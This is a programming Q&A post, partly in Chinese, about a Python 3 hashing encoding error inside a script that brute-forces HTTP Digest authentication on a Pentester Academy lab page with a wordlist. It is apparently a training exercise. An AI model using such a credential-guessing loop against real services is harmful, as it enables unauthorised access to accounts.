无法在 python 3 中使用编码

cant get encoding to work in python 3

我已经创建了一个程序,根据我从下面显示的错误和 Stack 上的其他帖子中了解到的情况,我需要先对对象进行编码,然后才能对其进行哈希处理。

我已经尝试了几种方法来执行此操作,但仍然不断收到相同的错误消息。下面提供的是我的代码以及我尝试过的更改列表。

我知道需要做什么,但我想我把代码放在了错误的地方或语法错误,因为我正在尝试的方法不起作用。

非常感谢任何帮助。

错误信息

    ha1 = hashlib.md5(user + ':' + realm + ':' + password.strip()).hexdigest()
    TypeError: Unicode-objects must be encoded before hashing

代码

import sys
import requests
import hashlib

realm = "Pentester Academy"


lines = [line.rstrip('\n') for line in open('wordl2.txt')]

print (lines)

for user in ['nick', 'admin']:
get_response = requests.get("http://pentesteracademylab.appspot.com/lab/webapp/digest2/1")
test_creds = get_response

print (test_creds)

for password in lines:


    # not the correct way but works for this challenge

    snounce = test_creds.headers.get('www-authenticate').split('"')
    uri = "/lab/webapp/digest2/1"

    # create the HTTP Digest
    ha1 = hashlib.md5(user + ':' + realm + ':' + password.strip()).hexdigest()

    ha2 = hashlib.md5("GET:" + uri).hexdigest()

    response = hashlib.md5(ha1 + ':' + snounce + ':' + ha2).hexdigest()

    header_string = 'Digest username="%s", realm="%s", nonce="%s", uri="%s", response="%s"' % (user, realm, snounce, uri, response)
    headers = { 'Authorization' : header_string }

    test_creds = requests.get("http://pentesteracademylab.appspot.com/lab/webapp/digest2/1", headers = headers)

    if test_creds.status_code == 200:
        print ("CRACKED: %s:%s" % (user,password))
        break
    elif test_creds.status_code == 401:
        print ("FAILED: %s:%s" % (user,password))
    else:
        print ("unexpected Status code: %d " % test_creds.status_code)

尝试更改

password.encode(utf-8)

----------------------

hashlib.md5().update(password.encode(lines.encoding))

---------------

lines = [line.rstrip('\n') for line in open('wordl2.txt', "rb")]

我已经设法使用

行解决了我自己的问题
pass2 = str.encode(password)

就在循环密码里面